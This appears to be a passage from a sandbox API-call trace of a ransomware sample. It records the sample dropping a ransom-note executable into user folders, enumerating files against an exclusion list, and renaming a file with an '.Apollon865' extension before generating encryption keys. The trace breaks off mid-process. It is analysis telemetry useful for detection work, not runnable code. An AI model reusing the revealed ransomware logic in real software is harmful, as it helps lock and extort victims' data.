	[0046.235] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.250] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.250] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33a35f70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33a35f70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.250] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.250] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.250] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.250] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33a35f70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33a35f70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.250] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.250] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.250] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.250] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.250] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="01_Music_auto_rated_at_5_stars.wpl", cAlternateFileName="01_MUS~1.WPL")) returned 1
	[0046.250] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.250] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="Apollon865.txt.exe") returned -1
	[0046.250] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2=".") returned 1
	[0046.250] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="..") returned 1
	[0046.250] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="windows") returned -1
	[0046.250] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="bootmgr") returned -1
	[0046.250] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="temp") returned -1
	[0046.251] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="pagefile.sys") returned -1
	[0046.251] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="boot") returned -1
	[0046.251] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="ids.txt") returned -1
	[0046.251] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="ntuser.dat") returned -1
	[0046.251] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="perflogs") returned -1
	[0046.251] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="MSBuild") returned -1
	[0046.251] lstrlenW (lpString="01_Music_auto_rated_at_5_stars.wpl") returned 34
	[0046.251] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\*") returned 98
	[0046.251] lstrcpyW (in: lpString1=0x2d3e612, lpString2="01_Music_auto_rated_at_5_stars.wpl" | out: lpString1="01_Music_auto_rated_at_5_stars.wpl") returned="01_Music_auto_rated_at_5_stars.wpl"
	[0046.251] lstrlenW (lpString="01_Music_auto_rated_at_5_stars.wpl") returned 34
	[0046.251] lstrlenW (lpString="Apollon865") returned 10
	[0046.251] lstrcmpiW (lpString1="_stars.wpl", lpString2="Apollon865") returned -1
	[0046.251] lstrlenW (lpString=".dll") returned 4
	[0046.251] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2=".dll") returned 1
	[0046.251] lstrlenW (lpString=".lnk") returned 4
	[0046.251] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2=".lnk") returned 1
	[0046.251] lstrlenW (lpString=".ini") returned 4
	[0046.251] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2=".ini") returned 1
	[0046.251] lstrlenW (lpString=".sys") returned 4
	[0046.251] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2=".sys") returned 1
	[0046.251] lstrlenW (lpString="01_Music_auto_rated_at_5_stars.wpl") returned 34
	[0046.251] lstrcpyW (in: lpString1=0x2d3e612, lpString2="02_Music_added_in_the_last_month.wpl" | out: lpString1="02_Music_added_in_the_last_month.wpl") returned="02_Music_added_in_the_last_month.wpl"
	[0046.251] lstrlenW (lpString="02_Music_added_in_the_last_month.wpl") returned 36
	[0046.251] lstrlenW (lpString="Apollon865") returned 10
	[0046.251] lstrcmpiW (lpString1="_month.wpl", lpString2="Apollon865") returned -1
	[0046.251] lstrlenW (lpString=".dll") returned 4
	[0046.251] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2=".dll") returned 1
	[0046.251] lstrlenW (lpString=".lnk") returned 4
	[0046.251] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2=".lnk") returned 1
	[0046.251] lstrlenW (lpString=".ini") returned 4
	[0046.251] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2=".ini") returned 1
	[0046.252] lstrlenW (lpString=".sys") returned 4
	[0046.252] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2=".sys") returned 1
	[0046.252] lstrlenW (lpString="02_Music_added_in_the_last_month.wpl") returned 36
	[0046.252] lstrcpyW (in: lpString1=0x2d3e612, lpString2="03_Music_rated_at_4_or_5_stars.wpl" | out: lpString1="03_Music_rated_at_4_or_5_stars.wpl") returned="03_Music_rated_at_4_or_5_stars.wpl"
	[0046.252] lstrlenW (lpString="03_Music_rated_at_4_or_5_stars.wpl") returned 34
	[0046.252] lstrlenW (lpString="Apollon865") returned 10
	[0046.252] lstrcmpiW (lpString1="_stars.wpl", lpString2="Apollon865") returned -1
	[0046.252] lstrlenW (lpString=".dll") returned 4
	[0046.252] lstrcmpiW (lpString1="03_Music_rated_at_4_or_5_stars.wpl", lpString2=".dll") returned 1
	[0046.252] lstrlenW (lpString=".lnk") returned 4
	[0046.252] lstrcmpiW (lpString1="03_Music_rated_at_4_or_5_stars.wpl", lpString2=".lnk") returned 1
	[0046.252] lstrlenW (lpString=".ini") returned 4
	[0046.252] lstrcmpiW (lpString1="03_Music_rated_at_4_or_5_stars.wpl", lpString2=".ini") returned 1
	[0046.252] lstrlenW (lpString=".sys") returned 4
	[0046.252] lstrcmpiW (lpString1="03_Music_rated_at_4_or_5_stars.wpl", lpString2=".sys") returned 1
	[0046.252] lstrlenW (lpString="03_Music_rated_at_4_or_5_stars.wpl") returned 34
	[0046.252] lstrcpyW (in: lpString1=0x2d3e612, lpString2="04_Music_played_in_the_last_month.wpl" | out: lpString1="04_Music_played_in_the_last_month.wpl") returned="04_Music_played_in_the_last_month.wpl"
	[0046.252] lstrlenW (lpString="04_Music_played_in_the_last_month.wpl") returned 37
	[0046.252] lstrlenW (lpString="Apollon865") returned 10
	[0046.252] lstrcmpiW (lpString1="_month.wpl", lpString2="Apollon865") returned -1
	[0046.252] lstrlenW (lpString=".dll") returned 4
	[0046.252] lstrcmpiW (lpString1="04_Music_played_in_the_last_month.wpl", lpString2=".dll") returned 1
	[0046.252] lstrlenW (lpString=".lnk") returned 4
	[0046.252] lstrcmpiW (lpString1="04_Music_played_in_the_last_month.wpl", lpString2=".lnk") returned 1
	[0046.252] lstrlenW (lpString=".ini") returned 4
	[0046.252] lstrcmpiW (lpString1="04_Music_played_in_the_last_month.wpl", lpString2=".ini") returned 1
	[0046.252] lstrlenW (lpString=".sys") returned 4
	[0046.252] lstrcmpiW (lpString1="04_Music_played_in_the_last_month.wpl", lpString2=".sys") returned 1
	[0046.252] lstrlenW (lpString="04_Music_played_in_the_last_month.wpl") returned 37
	[0046.252] lstrcpyW (in: lpString1=0x2d3e612, lpString2="05_Pictures_taken_in_the_last_month.wpl" | out: lpString1="05_Pictures_taken_in_the_last_month.wpl") returned="05_Pictures_taken_in_the_last_month.wpl"
	[0046.253] lstrlenW (lpString="05_Pictures_taken_in_the_last_month.wpl") returned 39
	[0046.253] lstrlenW (lpString="Apollon865") returned 10
	[0046.253] lstrcmpiW (lpString1="_month.wpl", lpString2="Apollon865") returned -1
	[0046.253] lstrlenW (lpString=".dll") returned 4
	[0046.253] lstrcmpiW (lpString1="05_Pictures_taken_in_the_last_month.wpl", lpString2=".dll") returned 1
	[0046.253] lstrlenW (lpString=".lnk") returned 4
	[0046.253] lstrcmpiW (lpString1="05_Pictures_taken_in_the_last_month.wpl", lpString2=".lnk") returned 1
	[0046.253] lstrlenW (lpString=".ini") returned 4
	[0046.253] lstrcmpiW (lpString1="05_Pictures_taken_in_the_last_month.wpl", lpString2=".ini") returned 1
	[0046.253] lstrlenW (lpString=".sys") returned 4
	[0046.253] lstrcmpiW (lpString1="05_Pictures_taken_in_the_last_month.wpl", lpString2=".sys") returned 1
	[0046.253] lstrlenW (lpString="05_Pictures_taken_in_the_last_month.wpl") returned 39
	[0046.253] lstrcpyW (in: lpString1=0x2d3e612, lpString2="06_Pictures_rated_4_or_5_stars.wpl" | out: lpString1="06_Pictures_rated_4_or_5_stars.wpl") returned="06_Pictures_rated_4_or_5_stars.wpl"
	[0046.253] lstrlenW (lpString="06_Pictures_rated_4_or_5_stars.wpl") returned 34
	[0046.253] lstrlenW (lpString="Apollon865") returned 10
	[0046.253] lstrcmpiW (lpString1="_stars.wpl", lpString2="Apollon865") returned -1
	[0046.253] lstrlenW (lpString=".dll") returned 4
	[0046.253] lstrcmpiW (lpString1="06_Pictures_rated_4_or_5_stars.wpl", lpString2=".dll") returned 1
	[0046.253] lstrlenW (lpString=".lnk") returned 4
	[0046.253] lstrcmpiW (lpString1="06_Pictures_rated_4_or_5_stars.wpl", lpString2=".lnk") returned 1
	[0046.253] lstrlenW (lpString=".ini") returned 4
	[0046.253] lstrcmpiW (lpString1="06_Pictures_rated_4_or_5_stars.wpl", lpString2=".ini") returned 1
	[0046.253] lstrlenW (lpString=".sys") returned 4
	[0046.253] lstrcmpiW (lpString1="06_Pictures_rated_4_or_5_stars.wpl", lpString2=".sys") returned 1
	[0046.253] lstrlenW (lpString="06_Pictures_rated_4_or_5_stars.wpl") returned 34
	[0046.253] lstrcpyW (in: lpString1=0x2d3e612, lpString2="07_TV_recorded_in_the_last_week.wpl" | out: lpString1="07_TV_recorded_in_the_last_week.wpl") returned="07_TV_recorded_in_the_last_week.wpl"
	[0046.253] lstrlenW (lpString="07_TV_recorded_in_the_last_week.wpl") returned 35
	[0046.253] lstrlenW (lpString="Apollon865") returned 10
	[0046.253] lstrcmpiW (lpString1="t_week.wpl", lpString2="Apollon865") returned 1
	[0046.253] lstrlenW (lpString=".dll") returned 4
	[0046.254] lstrcmpiW (lpString1="07_TV_recorded_in_the_last_week.wpl", lpString2=".dll") returned 1
	[0046.254] lstrlenW (lpString=".lnk") returned 4
	[0046.254] lstrcmpiW (lpString1="07_TV_recorded_in_the_last_week.wpl", lpString2=".lnk") returned 1
	[0046.254] lstrlenW (lpString=".ini") returned 4
	[0046.254] lstrcmpiW (lpString1="07_TV_recorded_in_the_last_week.wpl", lpString2=".ini") returned 1
	[0046.254] lstrlenW (lpString=".sys") returned 4
	[0046.254] lstrcmpiW (lpString1="07_TV_recorded_in_the_last_week.wpl", lpString2=".sys") returned 1
	[0046.254] lstrlenW (lpString="07_TV_recorded_in_the_last_week.wpl") returned 35
	[0046.254] lstrcpyW (in: lpString1=0x2d3e612, lpString2="08_Video_rated_at_4_or_5_stars.wpl" | out: lpString1="08_Video_rated_at_4_or_5_stars.wpl") returned="08_Video_rated_at_4_or_5_stars.wpl"
	[0046.254] lstrlenW (lpString="08_Video_rated_at_4_or_5_stars.wpl") returned 34
	[0046.254] lstrlenW (lpString="Apollon865") returned 10
	[0046.254] lstrcmpiW (lpString1="_stars.wpl", lpString2="Apollon865") returned -1
	[0046.254] lstrlenW (lpString=".dll") returned 4
	[0046.254] lstrcmpiW (lpString1="08_Video_rated_at_4_or_5_stars.wpl", lpString2=".dll") returned 1
	[0046.254] lstrlenW (lpString=".lnk") returned 4
	[0046.254] lstrcmpiW (lpString1="08_Video_rated_at_4_or_5_stars.wpl", lpString2=".lnk") returned 1
	[0046.254] lstrlenW (lpString=".ini") returned 4
	[0046.254] lstrcmpiW (lpString1="08_Video_rated_at_4_or_5_stars.wpl", lpString2=".ini") returned 1
	[0046.254] lstrlenW (lpString=".sys") returned 4
	[0046.254] lstrcmpiW (lpString1="08_Video_rated_at_4_or_5_stars.wpl", lpString2=".sys") returned 1
	[0046.254] lstrlenW (lpString="08_Video_rated_at_4_or_5_stars.wpl") returned 34
	[0046.254] lstrcpyW (in: lpString1=0x2d3e612, lpString2="09_Music_played_the_most.wpl" | out: lpString1="09_Music_played_the_most.wpl") returned="09_Music_played_the_most.wpl"
	[0046.254] lstrlenW (lpString="09_Music_played_the_most.wpl") returned 28
	[0046.254] lstrlenW (lpString="Apollon865") returned 10
	[0046.254] lstrcmpiW (lpString1="e_most.wpl", lpString2="Apollon865") returned 1
	[0046.254] lstrlenW (lpString=".dll") returned 4
	[0046.254] lstrcmpiW (lpString1="09_Music_played_the_most.wpl", lpString2=".dll") returned 1
	[0046.254] lstrlenW (lpString=".lnk") returned 4
	[0046.254] lstrcmpiW (lpString1="09_Music_played_the_most.wpl", lpString2=".lnk") returned 1
	[0046.255] lstrlenW (lpString=".ini") returned 4
	[0046.255] lstrcmpiW (lpString1="09_Music_played_the_most.wpl", lpString2=".ini") returned 1
	[0046.255] lstrlenW (lpString=".sys") returned 4
	[0046.255] lstrcmpiW (lpString1="09_Music_played_the_most.wpl", lpString2=".sys") returned 1
	[0046.255] lstrlenW (lpString="09_Music_played_the_most.wpl") returned 28
	[0046.255] lstrcpyW (in: lpString1=0x2d3e612, lpString2="10_All_Music.wpl" | out: lpString1="10_All_Music.wpl") returned="10_All_Music.wpl"
	[0046.255] lstrlenW (lpString="10_All_Music.wpl") returned 16
	[0046.255] lstrlenW (lpString="Apollon865") returned 10
	[0046.255] lstrcmpiW (lpString1="_Music.wpl", lpString2="Apollon865") returned -1
	[0046.255] lstrlenW (lpString=".dll") returned 4
	[0046.255] lstrcmpiW (lpString1="10_All_Music.wpl", lpString2=".dll") returned 1
	[0046.255] lstrlenW (lpString=".lnk") returned 4
	[0046.255] lstrcmpiW (lpString1="10_All_Music.wpl", lpString2=".lnk") returned 1
	[0046.255] lstrlenW (lpString=".ini") returned 4
	[0046.255] lstrcmpiW (lpString1="10_All_Music.wpl", lpString2=".ini") returned 1
	[0046.255] lstrlenW (lpString=".sys") returned 4
	[0046.255] lstrcmpiW (lpString1="10_All_Music.wpl", lpString2=".sys") returned 1
	[0046.255] lstrlenW (lpString="10_All_Music.wpl") returned 16
	[0046.255] lstrcpyW (in: lpString1=0x2d3e612, lpString2="11_All_Pictures.wpl" | out: lpString1="11_All_Pictures.wpl") returned="11_All_Pictures.wpl"
	[0046.255] lstrlenW (lpString="11_All_Pictures.wpl") returned 19
	[0046.255] lstrlenW (lpString="Apollon865") returned 10
	[0046.255] lstrcmpiW (lpString1="ctures.wpl", lpString2="Apollon865") returned 1
	[0046.255] lstrlenW (lpString=".dll") returned 4
	[0046.255] lstrcmpiW (lpString1="11_All_Pictures.wpl", lpString2=".dll") returned 1
	[0046.255] lstrlenW (lpString=".lnk") returned 4
	[0046.255] lstrcmpiW (lpString1="11_All_Pictures.wpl", lpString2=".lnk") returned 1
	[0046.255] lstrlenW (lpString=".ini") returned 4
	[0046.255] lstrcmpiW (lpString1="11_All_Pictures.wpl", lpString2=".ini") returned 1
	[0046.256] lstrlenW (lpString=".sys") returned 4
	[0046.256] lstrcmpiW (lpString1="11_All_Pictures.wpl", lpString2=".sys") returned 1
	[0046.256] lstrlenW (lpString="11_All_Pictures.wpl") returned 19
	[0046.256] lstrcpyW (in: lpString1=0x2d3e612, lpString2="12_All_Video.wpl" | out: lpString1="12_All_Video.wpl") returned="12_All_Video.wpl"
	[0046.256] lstrlenW (lpString="12_All_Video.wpl") returned 16
	[0046.256] lstrlenW (lpString="Apollon865") returned 10
	[0046.256] lstrcmpiW (lpString1="_Video.wpl", lpString2="Apollon865") returned -1
	[0046.256] lstrlenW (lpString=".dll") returned 4
	[0046.256] lstrcmpiW (lpString1="12_All_Video.wpl", lpString2=".dll") returned 1
	[0046.256] lstrlenW (lpString=".lnk") returned 4
	[0046.256] lstrcmpiW (lpString1="12_All_Video.wpl", lpString2=".lnk") returned 1
	[0046.256] lstrlenW (lpString=".ini") returned 4
	[0046.256] lstrcmpiW (lpString1="12_All_Video.wpl", lpString2=".ini") returned 1
	[0046.256] lstrlenW (lpString=".sys") returned 4
	[0046.256] lstrcmpiW (lpString1="12_All_Video.wpl", lpString2=".sys") returned 1
	[0046.256] lstrlenW (lpString="12_All_Video.wpl") returned 16
	[0046.256] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer"
	[0046.256] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599d28 | out: hHeap=0x580000) returned 1
	[0046.256] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0046.256] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer") returned 71
	[0046.256] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer"
	[0046.256] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.256] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.262] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.262] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33a5c0d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33a5c0d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.262] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.263] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.263] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.263] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33a5c0d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33a5c0d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.263] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.263] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.263] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.263] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.263] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb371c2, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x2fa9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="brndlog.bak", cAlternateFileName="")) returned 1
	[0046.263] lstrcmpiW (lpString1="brndlog.bak", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.263] lstrcmpiW (lpString1="brndlog.bak", lpString2="Apollon865.txt.exe") returned 1
	[0046.263] lstrcmpiW (lpString1="brndlog.bak", lpString2=".") returned 1
	[0046.263] lstrcmpiW (lpString1="brndlog.bak", lpString2="..") returned 1
	[0046.263] lstrcmpiW (lpString1="brndlog.bak", lpString2="windows") returned -1
	[0046.263] lstrcmpiW (lpString1="brndlog.bak", lpString2="bootmgr") returned 1
	[0046.263] lstrcmpiW (lpString1="brndlog.bak", lpString2="temp") returned -1
	[0046.263] lstrcmpiW (lpString1="brndlog.bak", lpString2="pagefile.sys") returned -1
	[0046.263] lstrcmpiW (lpString1="brndlog.bak", lpString2="boot") returned 1
	[0046.263] lstrcmpiW (lpString1="brndlog.bak", lpString2="ids.txt") returned -1
	[0046.263] lstrcmpiW (lpString1="brndlog.bak", lpString2="ntuser.dat") returned -1
	[0046.263] lstrcmpiW (lpString1="brndlog.bak", lpString2="perflogs") returned -1
	[0046.263] lstrcmpiW (lpString1="brndlog.bak", lpString2="MSBuild") returned -1
	[0046.263] lstrlenW (lpString="brndlog.bak") returned 11
	[0046.263] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\*") returned 73
	[0046.263] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="brndlog.bak" | out: lpString1="brndlog.bak") returned="brndlog.bak"
	[0046.263] lstrlenW (lpString="brndlog.bak") returned 11
	[0046.263] lstrlenW (lpString="Apollon865") returned 10
	[0046.263] lstrcmpiW (lpString1="rndlog.bak", lpString2="Apollon865") returned 1
	[0046.263] lstrlenW (lpString=".dll") returned 4
	[0046.263] lstrcmpiW (lpString1="brndlog.bak", lpString2=".dll") returned 1
	[0046.263] lstrlenW (lpString=".lnk") returned 4
	[0046.263] lstrcmpiW (lpString1="brndlog.bak", lpString2=".lnk") returned 1
	[0046.263] lstrlenW (lpString=".ini") returned 4
	[0046.263] lstrcmpiW (lpString1="brndlog.bak", lpString2=".ini") returned 1
	[0046.264] lstrlenW (lpString=".sys") returned 4
	[0046.264] lstrcmpiW (lpString1="brndlog.bak", lpString2=".sys") returned 1
	[0046.264] lstrlenW (lpString="brndlog.bak") returned 11
	[0046.264] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak.Apollon865") returned 94
	[0046.264] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak.apollon865"), dwFlags=0x1) returned 1
	[0046.266] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0046.266] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=12201) returned 1
	[0046.266] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0046.266] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0046.266] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0046.266] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf678) returned 1
	[0046.267] CryptGenRandom (in: hProv=0x5bf678, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0046.267] CryptReleaseContext (hProv=0x5bf678, dwFlags=0x0) returned 1
	[0046.267] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x32b0, lpName=0x0) returned 0x148
	[0046.269] MapViewOfFile (hFileMappingObject=0x148, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x32b0) returned 0x100000
	[0046.271] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf678) returned 1
	[0046.271] CryptGenRandom (in: hProv=0x5bf678, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0046.271] CryptReleaseContext (hProv=0x5bf678, dwFlags=0x0) returned 1
	[0046.272] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0046.272] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0046.272] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0046.272] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0046.272] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0046.272] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
